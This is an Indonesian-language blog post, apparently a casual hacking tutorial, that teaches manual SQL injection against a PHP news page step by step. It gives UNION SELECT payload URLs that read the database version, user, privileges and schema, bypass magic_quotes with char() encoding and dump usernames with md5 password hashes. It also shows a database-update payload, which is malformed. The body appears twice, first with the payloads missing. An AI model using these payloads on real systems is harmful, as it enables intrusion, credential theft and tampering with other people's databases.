Baru
belajar SQL aja udah blagu nulis SQL Injection, ah bodo amat,, abisnya
gak diajarin sih SQL Injection ame pak Utama. SQL Injection adalah salah
satu dari sekian kelemahan aplikasi berbasis web. Bugs ini dapat
menyebabkan seorang attacker mengeksekusi database target atau melakukan
query ke dalam databases untuk mencuri informasi penting di databases,
seperti username atau password, atau mengubah / update isi dari
database.
Ada dua jenis metode atau cara SQL Injection yang pertama disebut Normal SQL Injection, yaitu dengan memanfaatkan error yang dibuat oleh attacker untuk memperoleh informasi skema atau struktur dari database, yang kedua yaitu Blind SQL Injection, dimana saat exploitasi Normal SQL Injection tidak bekerja, Blind SQL Injection dijadikan metode lain untuk exploitasi. Blind SQL Injection lebih sulit dilakukan, penjelasan lebih jauh tentang hal ini pada postingan yang akan datang :).
Cek Vulnerability
Untuk mengetahui apakah suatu aplikasi web vulnerable terhadap Sql Injection atau tidak, kita coba dengan menambahkan single quotes (‘) pada url, contoh :
http://www.target.com/news.php?id=1′
Jika Vulnerable akan keluar pesan error kurang lebih seperti ini : “You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” AND bg_deleted_dt IS NULL’ at line 1″
Berapa Jumlah Kolomnya ?
Untuk mengetahui jumlah kolom kita gunakan statement ORDER BY. Jangan lupa gunakan akhiran /* , # , , atau — . Contoh :
http://www.target.com/news.php?id=1+order+by+1– // tidak ada error
http://www.target.com/news.php?id=1+order+by+2– // tidak ada error
http://www.target.com/news.php?id=1+order+by+3– // tidak ada error
http://www.target.com/news.php?id=1+order+by+4– // tidak ada error
http://www.target.com/news.php?id=1+order+by+5– // ada error yang muncul seperti “Unknown column ’5′ in ‘order clause’”
Itu berarti terdapat jumlah kolom yang ada berjumlah 4. Jika hasil uji coba tidak terdapat error berarti jumlah kolom yang anda masukkan lebih kecil dari pada jumlah kolom yang ada di database, jika terdapat error jumlah kolom yang anda masukkan lebih besar dari jumlah kolom yang ada di database.
UNION Function
Guna UNION Function adalah untuk mengkombinasikan hasil satu atau lebih query dengan “select” statemen ke dalam single result. kita coba apakah fungsi UNION berfungsi atau tidak kita buat statement seperti ini :
Contoh diatas dengan 19 kolom, jika berfungsi maka akan muncul nomor yang bisa kita injeksi.
Get the information
untuk mengetahui versi database yang digunakan,
untuk mengetahui nama database,
untuk mengetahui username database,
untuk mengetahui lokasi database,
Check Previliges !
Kita cek apakah username database yang kita ketahui sebelumnya sebelumnya , mempunyai previlige untuk mengubah, menambahkan, atau menghapus isi database dengan statement berikut ,
wow !!! huruf y berarti yes, kalau n artinya ora gelem.
Mendapatkan isi dari Database
Untuk membaca isi dari suatu Database, kita gunakan sintaks seperti contoh di bawah ini ;
Dimana column yang kita tentukan untuk kita baca, dan column tersebut berada pada table yang mana?.
laah??? kan gue gak tau nama kolomnya apa dan table apa saja di databasenya?..zzzZ
Tenang,,sejak SQL versi > 5 kita bisa mendapatkan informasi tentang isi database, di information_schema, jadi mari kita exploitasi database dengan nama information_schema..
Seraaaaanng…………………. !!!!
Contoh seperti di bawah,,
lalu akan muncul nama column dan nama databasenya, seperti di bawah, sekarang kita main tebak-tebakan, angka 18 tersebut terus anda tambah hingga pada sampai akhirnya anda menemukan database yang bernama “elvin” seperti yang sudah kita ketahui sebelumnya. Saya ganti angka 18 tersebut menjadi 194, dan menemukan database bernama elvin.
Saya saya ingin mendapatkan informasi tentang username dan password di website tersebut dalam database, dan saya masih menebak column mana yang mengandung kata seperti “user” atau “password”. Saya menebak pada table “eb_profile” terdapat “username” dan “Password” untuk itu saya harus mengetahui column apa saja yang terdapat pada table “eb_profile”, lalu saya melakukan query seperti berikut.
dan kita mendapatkan satu kolom untuk table “eb_profile”
jika eror, kemungkinan Magic_Quotes ter-Setting “ON” jadi kita harus melakukan convert nama table ke ASCII, seperti ini jadinya.
Tetap mencari column yang terdapat kata “username” dan “password”,dengan klausa limit dan offset.
terus ganti angka 1 hingga anda menemukan column yang dicurigai
terdapat teroris, eh maksudnya “username” dan “password”. akhirnya
sampai disini saya menemukan column “ac_pass_vc” dan “ac_user_vc”. Setelah itu saya intip isi kepada dua column, ada apaan si ??? dengan klausa concatinate.
Dooor !!! . kita mendapatkan user pertama “root” berikut dengan md5 hashnya,, :D.. gunakan klausa limit dan offset untuk melihat user lainnya seperti di atas.
Updating the database :
Query untuk mengupdate isi database seperti ni contohny :
melalui tulisan ini, saya hanya ingin mencurahkan sedikit isi otak saja, bagi-bagi ilmu dikit apa yang dimaksud dengan sql injection,
walaupun sudah lama bugs ini, tapi sampai saat ini masih terdapat
aplikasi web yang bisa di attack dengan Sql Injection, dan postingan ini
berlanjut ke bagian ke 2.
males panjang-panjang,, udah ngantuk,,jam 04:51,,zzzzzzZZZZZZZZZZZzzzzzzzzzzzZZZZZZZZZzzzzzzzzzzzzzZZZZZZZZZZZZ
Ada dua jenis metode atau cara SQL Injection yang pertama disebut Normal SQL Injection, yaitu dengan memanfaatkan error yang dibuat oleh attacker untuk memperoleh informasi skema atau struktur dari database, yang kedua yaitu Blind SQL Injection, dimana saat exploitasi Normal SQL Injection tidak bekerja, Blind SQL Injection dijadikan metode lain untuk exploitasi. Blind SQL Injection lebih sulit dilakukan, penjelasan lebih jauh tentang hal ini pada postingan yang akan datang :).
Cek Vulnerability
Untuk mengetahui apakah suatu aplikasi web vulnerable terhadap Sql Injection atau tidak, kita coba dengan menambahkan single quotes (‘) pada url, contoh :
http://www.target.com/news.php?id=1′
Jika Vulnerable akan keluar pesan error kurang lebih seperti ini : “You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” AND bg_deleted_dt IS NULL’ at line 1″
Berapa Jumlah Kolomnya ?
Untuk mengetahui jumlah kolom kita gunakan statement ORDER BY. Jangan lupa gunakan akhiran /* , # , , atau — . Contoh :
http://www.target.com/news.php?id=1+order+by+1– // tidak ada error
http://www.target.com/news.php?id=1+order+by+2– // tidak ada error
http://www.target.com/news.php?id=1+order+by+3– // tidak ada error
http://www.target.com/news.php?id=1+order+by+4– // tidak ada error
http://www.target.com/news.php?id=1+order+by+5– // ada error yang muncul seperti “Unknown column ’5′ in ‘order clause’”
Itu berarti terdapat jumlah kolom yang ada berjumlah 4. Jika hasil uji coba tidak terdapat error berarti jumlah kolom yang anda masukkan lebih kecil dari pada jumlah kolom yang ada di database, jika terdapat error jumlah kolom yang anda masukkan lebih besar dari jumlah kolom yang ada di database.
UNION Function
Guna UNION Function adalah untuk mengkombinasikan hasil satu atau lebih query dengan “select” statemen ke dalam single result. kita coba apakah fungsi UNION berfungsi atau tidak kita buat statement seperti ini :
http://www.target.com/news.php?id=null+union+select+1,2,3,4,5
,6,7,8,9,10,11,12,13,14,15,16,17,18,19– |
---|
Get the information
untuk mengetahui versi database yang digunakan,
http://www.target.com/news.php?id=null+union+
select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19– |
---|
untuk mengetahui nama database,
http://www.target.com/news.php?id=null+union+
select+1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,16,17,18,19– |
---|
untuk mengetahui username database,
http://www.target.com/news.php?id=null+union+select+1,2,3,4
,user(),6,7,8,9,10,11,12,13,14,15,16,17,18,19– |
---|
untuk mengetahui lokasi database,
http://www.target.com/news.php?id=null+union+select+1,2,3,4
,@@datadir,6,7,8,9,10,11,12,13,14,15,16,17,18,19– |
---|
Check Previliges !
Kita cek apakah username database yang kita ketahui sebelumnya sebelumnya , mempunyai previlige untuk mengubah, menambahkan, atau menghapus isi database dengan statement berikut ,
http://www.target.com/news.php?id=null+union+select+1,2,3,4
,update_priv,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+mys ql.user– |
---|
wow !!! huruf y berarti yes, kalau n artinya ora gelem.
Mendapatkan isi dari Database
Untuk membaca isi dari suatu Database, kita gunakan sintaks seperti contoh di bawah ini ;
http://www.target.com/news.php?id=null+union+select+1,2,3,4
,column,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+table– |
---|
laah??? kan gue gak tau nama kolomnya apa dan table apa saja di databasenya?..zzzZ
Tenang,,sejak SQL versi > 5 kita bisa mendapatkan informasi tentang isi database, di information_schema, jadi mari kita exploitasi database dengan nama information_schema..
Seraaaaanng…………………. !!!!
Contoh seperti di bawah,,
http://www.target.com/news.php?id=null+union+select+1,2,3,4
,concat(table_name,’ ,table_schema),6,7,8,9,10,11,12,13,14 ,15,16,17,18,19+from+information_schema.tables+limit+1+off set+18– |
---|
Saya saya ingin mendapatkan informasi tentang username dan password di website tersebut dalam database, dan saya masih menebak column mana yang mengandung kata seperti “user” atau “password”. Saya menebak pada table “eb_profile” terdapat “username” dan “Password” untuk itu saya harus mengetahui column apa saja yang terdapat pada table “eb_profile”, lalu saya melakukan query seperti berikut.
http://www.target.com/news.php?id=null+union+select+1,2,3,4
,column_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+ information_schema.columns+where+table_name=’eb_profile’– |
---|
jika eror, kemungkinan Magic_Quotes ter-Setting “ON” jadi kita harus melakukan convert nama table ke ASCII, seperti ini jadinya.
http://www.target.com/news.php?id=null+union+select+1,2,3,4
,column_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+ information_schema.columns+where+table_name=char(101,98 ,95,112,114,111,105,108,101)– |
---|
http://www.target.com/news.php?id=null+union+select+1,2,3,4
,column_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+ information_schema.columns+where+table_name=char(101,98 ,95,112,114,111,105,108,101)+limit+1+offset+1– |
---|
http://www.target.com/news.php?id=null+union+select+1,2,3,4
,concat(ac_user_vc,’%20′,ac_pass_vc),6,7,8,9,10,11,12,13,14 ,15,16,17,18,19+from+eb_profile– |
---|
Dooor !!! . kita mendapatkan user pertama “root” berikut dengan md5 hashnya,, :D.. gunakan klausa limit dan offset untuk melihat user lainnya seperti di atas.
Updating the database :
Query untuk mengupdate isi database seperti ni contohny :
http://www.target.com/news.php?id=null+union+select+1,2,3,4,update,6
,7,8,9,10,11,12,13,14,15,16,17,18,19+table_name+set+column_name= “newvalue”+where+column_name=?value?+where+user=root– |
---|
males panjang-panjang,, udah ngantuk,,jam 04:51,,zzzzzzZZZZZZZZZZZzzzzzzzzzzzZZZZZZZZZzzzzzzzzzzzzzZZZZZZZZZZZZ
No comments:
Write komentar